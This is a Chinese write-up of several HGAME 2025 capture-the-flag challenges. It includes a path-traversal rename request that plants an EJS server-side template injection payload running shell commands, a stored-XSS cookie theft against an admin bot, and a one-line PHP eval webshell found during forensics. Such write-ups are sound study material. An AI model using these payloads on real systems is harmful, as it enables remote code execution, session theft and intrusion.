HGAME 2025 WriteUp


又是被各路大神暴打的一天 55555😭


Web

Level 24 Pacman

你的目标是,在被他们抓住之前,收集一万枚金币,离开这个地方。

  1. WASD或者上下左右均可以移动
  2. SPACE键可以暂停游戏
  3. 你有五次机会。在此之前,努力逃吧!

前端题,题目提示 1 万分就可以获得 flag 。

代码审计,注意到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_0x3c0cce['createItem']({
'x': _0x5e1765['width'] / 0x2,
'y': _0x5e1765[_0x4bff30(0x14f)] * 0.5,
'draw': function(_0x413b57) {
var _0x5dcc17 = _0x4bff30;
_0x413b57[_0x5dcc17(0x159)] = '#FFF',
_0x413b57['font'] = _0x5dcc17(0x16a),
_0x413b57[_0x5dcc17(0x129)] = _0x5dcc17(0x154),
_0x413b57[_0x5dcc17(0x150)] = _0x5dcc17(0x101);
var _0x82b005 = _SCORE + 0x32 * Math[_0x5dcc17(0x103)](_LIFE - 0x1, 0x0);
_0x413b57[_0x5dcc17(0x10c)](_0x5dcc17(0xf7) + _0x82b005, this['x'], this['y']),
_0x82b005 > 0x270f ? (_0x413b57[_0x5dcc17(0xf4)] = _0x5dcc17(0x164),
_0x413b57['fillText'](_0x5dcc17(0x10d), this['x'], this['y'] + 0x28),
console['log'](_0x5dcc17(0x10d))) : (_0x413b57[_0x5dcc17(0xf4)] = _0x5dcc17(0x164),
_0x413b57['fillText']('here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==', this['x'], this['y'] + 0x28),
console[_0x5dcc17(0x125)](_0x5dcc17(0x166)));
}
}),

有两个可能的文本输出,下面那个是 Fake flag 。

打个断点改一下 _SCORE 的值然后送了即可拿到一段 base64:

解码出来的字符串是乱的,将其对半分后逐字拼接即可得到最终 flag 。

Level 47 BandBomb

题目给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});

const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});

app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');

if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});

app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});

app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}

fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});

app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});

容易观察到 /rename 路由存在漏洞,可以实现文件移动

同时注意到 app.set('view engine', 'ejs');

上传一个 ejs 文件将主页的 motris.ejs 替换掉即可。

1
2
3
4
5
6
7
8
POST /rename HTTP/1.1
Host: node1.hgame.vidar.club:32580
Content-Type: application/json

{
"oldName": "1.ejs",
"newName": "../views/mortis.ejs"
}
1
<%- process.mainModule.require('child_process').execSync('env|grep hgame').toString() %>

hgame{avE_muj1c@-HAS_brOK3n_Up_buT-W3-hAVE_um1t@kl4d}

Level 69 MysteryMessageBoard

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package main

import (
"context"
"fmt"
"github.com/chromedp/chromedp"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"log"
"net/http"
"sync"
"time"
)

var (
store = sessions.NewCookieStore([]byte("fake_key"))
users = map[string]string{
"shallot": "fake_password",
"admin": "fake_password"}
comments []string
flag = "FLAG{this_is_a_fake_flag}"
lock sync.Mutex
)

func loginHandler(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")
if storedPassword, ok := users[username]; ok && storedPassword == password {
session, _ := store.Get(c.Request, "session")
session.Values["username"] = username
session.Options = &sessions.Options{
Path: "/",
MaxAge: 3600,
HttpOnly: false,
Secure: false,
}
session.Save(c.Request, c.Writer)
c.String(http.StatusOK, "success")
return
}
log.Printf("Login failed for user: %s\n", username)
c.String(http.StatusUnauthorized, "error")
}
func logoutHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
delete(session.Values, "username")
session.Save(c.Request, c.Writer)
c.Redirect(http.StatusFound, "/login")
}
func indexHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
username, ok := session.Values["username"].(string)
if !ok {
log.Println("User not logged in, redirecting to login")
c.Redirect(http.StatusFound, "/login")
return
}
if c.Request.Method == http.MethodPost {
comment := c.PostForm("comment")
log.Printf("New comment submitted: %s\n", comment)
comments = append(comments, comment)
}
htmlContent := fmt.Sprintf(`<html>
<body>
<h1>留言板</h1>
<p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p>
<form method="post">
<textarea name="comment" required></textarea><br>
<input type="submit" value="提交评论">
</form>
<h3>留言:</h3>
<ul>`, username)
for _, comment := range comments {
htmlContent += "<li>" + comment + "</li>"
}
htmlContent += `</ul>
<p><a href="/logout">退出</a></p>
</body>
</html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}
func adminHandler(c *gin.Context) {
htmlContent := `<html><body>
<p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p>
</body></html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
//无头浏览器模拟登录admin,并以admin身份访问/路由
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(context.Background())
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx, myTasks()); err != nil {
log.Println("Chromedp error:", err)
return
}
}()
}

// 无头浏览器操作
func myTasks() chromedp.Tasks {
return chromedp.Tasks{
chromedp.Navigate("/login"),
chromedp.WaitVisible(`input[name="username"]`),
chromedp.SendKeys(`input[name="username"]`, "admin"),
chromedp.SendKeys(`input[name="password"]`, "fake_password"),
chromedp.Click(`input[type="submit"]`),
chromedp.Navigate("/"),
chromedp.Sleep(5 * time.Second),
}
}

func flagHandler(c *gin.Context) {
log.Println("Handling flag request")
session, err := store.Get(c.Request, "session")
if err != nil {
c.String(http.StatusInternalServerError, "无法获取会话")
return
}
username, ok := session.Values["username"].(string)
if !ok || username != "admin" {
c.String(http.StatusForbidden, "只有admin才可以访问哦")
return
}
log.Println("Admin accessed the flag")
c.String(http.StatusOK, flag)
}
func main() {
r := gin.Default()
r.GET("/login", loginHandler)
r.POST("/login", loginHandler)
r.GET("/logout", logoutHandler)
r.GET("/", indexHandler)
r.GET("/admin", adminHandler)
r.GET("/flag", flagHandler)
log.Println("Server started at :8888")
log.Fatal(r.Run(":8888"))
}

简单的 XSS 。

Dirsearch 扫一下可以扫到 /admin , 应该是 call 机器人访问

随便找个 XSS 平台在评论里投个毒即可拿到 admin 的 cookie

拿到 cookie 访问 /flag 即可。


Misc

Hakuya Want A Girl Friend

又到了一年一度的HGAME了,遵循前两年的传统,寻找(献祭)一个单身成员拿来出题🥵🥵。

前两年的都成了,希望今年也能成🙏。

下载的 txt 里面是一个 zip 压缩包的 hex ,同时注意到文件尾部藏了翻转了字节的 PNG 。

分离 zip ,里面是 flag ,但是有密码。

研究 png ,脚本复原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def reverse_hex_file(input_file, output_file):

with open(input_file, 'rb') as f:
hex_data = f.read().hex()

reversed_hex_data = ''.join([hex_data[i:i+2] for i in range(0, len(hex_data), 2)][::-1])

with open(output_file, 'wb') as f:
f.write(bytes.fromhex(reversed_hex_data))


input_file = input("input:")
output_file = input("output:")
reverse_hex_file(input_file, output_file)

分离出来的 png 存在宽高隐写,改高度秒了,得到 passwd

passwd: To_f1nd_th3_QQ

flag: hagme{h4kyu4_w4nt_gir1f3nd_+q_xxxxxxxxx}

Computer cleaner

小明的虚拟机好像遭受了攻击,你可以帮助他清理一下他的电脑吗

找到攻击者的webshell连接密码对攻击者进行简单溯源排查攻击者目的附件:https://pan.baidu.com/s/1pUtcyTAykio1Ti0utGI-BA?pwd=vid4 提取码: vid4

onedrive下载:https://1drv.ms/u/c/ad1d293564fdb7f1/EbQBbX_kCvlOkZbZOkmk7sQBE7lQu9pBrzGc8B03LanXgg?e=o1LLIb

压缩包密码:26c48b80-a1ec-4710-b26d-72dc75550d4b

虚拟机密码:vviiddaarr

简单的排查。

题干都说是 webshell 了,果断查找 /var/www/html

./uploads 里有个🐎

1
<?php @eval($_POST['hgame{y0u_']);?>

./upload_log.txt 里有攻击者的 ip

访问得到 flag2 hav3_cleaned_th3

/home/Documents 里有 flag3 _c0mput3r!}

拼接 , flag : hgame{y0u_hav3_cleaned_th3_c0mput3r!}


Reverse

Compress dot new

有时候逆向工程并不需要使用非常复杂的工具:一人、一桌、一电脑、一记事本、一数字帮手足矣。

附件备用链接:https://1drv.ms/u/c/a62edaf3b21e7091/ETgNGWjXMyRArwzcTurWXvAB-b6CiC2sK_CU0l6LeSjDtA?e=4%3Ay07Jgn

好,我用数字帮手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import json

# 读取enc.txt文件
with open('enc.txt', 'r') as f:
content = f.read().split('\n', 1)
json_tree = content[0]
binary_str = content[1].strip()

# 解析霍夫曼树
huffman_tree = json.loads(json_tree)

# 解码二进制字符串
def decode_huffman(binary_str, root):
result = []
current_node = root
for bit in binary_str:
if bit == '0':
current_node = current_node['a']
else:
current_node = current_node['b']
if 's' in current_node:
result.append(current_node['s'])
current_node = root # 重置到根节点继续解码
return result

decoded_symbols = decode_huffman(binary_str, huffman_tree)

# 转换为原始文本
original_text = ''.join(chr(s) for s in decoded_symbols)
print(original_text)

flag : hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}